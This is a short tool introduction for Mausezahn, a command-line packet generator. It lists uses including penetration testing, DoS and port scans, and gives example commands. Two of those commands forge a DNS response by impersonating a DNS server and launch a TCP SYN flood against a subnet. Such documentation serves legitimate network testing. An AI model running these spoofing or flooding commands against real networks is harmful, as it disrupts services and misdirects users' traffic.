Mausezahn is a fast traffic generator written in C which allows you to send nearly every possible and impossible packet. Mausezahn can be used for example
* As traffic generator (e. g. to stress multi-cast networks)
* For penetration testing of firewalls and IDS
* For DoS attacks on networks (for audit purposes of course)
* To find bugs in network software or appliances
* For reconnaissance attacks using ping sweeps and port scans
* To test network behavior under strange circumstances (stress test, malformed packets, ...)
...and more. Mausezahn is basically a versatile packet creation tool on the command line with a simple syntax and on-line help. It could also be used within (bash-) scripts to perform combination of tests.
OpenSuSe user can install Mausezahn using "1-click" installer - here
Ubuntu user can install it using command: sudo apt-get install mz
Send an arbitrary sequence of bytes through your network card 1000 times:
# mz eth0 -c 1000 "ff:ff:ff:ff:ff:ff ff:ff:ff:ff:ff:ff cc:dd 00:00:00:ca:fe:ba:be"
You can send more complex packets easily with the built-in packet builders using the -t option. Let's send a forged DNS response to host 192.168.1.2 by impersonating the DNS server x.x.x.x:
# mz eth0 -A x.x.x.x -B 192.168.1.2 -t dns "q=www.xxxxxxxx.com, a=172.16.6.66"
Perform a TCP SYN-Flood attack against all hosts in subnet 10.5.5.0/24
# mz eth0 -c 0 -Q 50,100 -A rand -B 10.5.5.0/25 -t tcp "flags=syn, dp=1-1023"
Look at the Mausezahn man pages for more details.
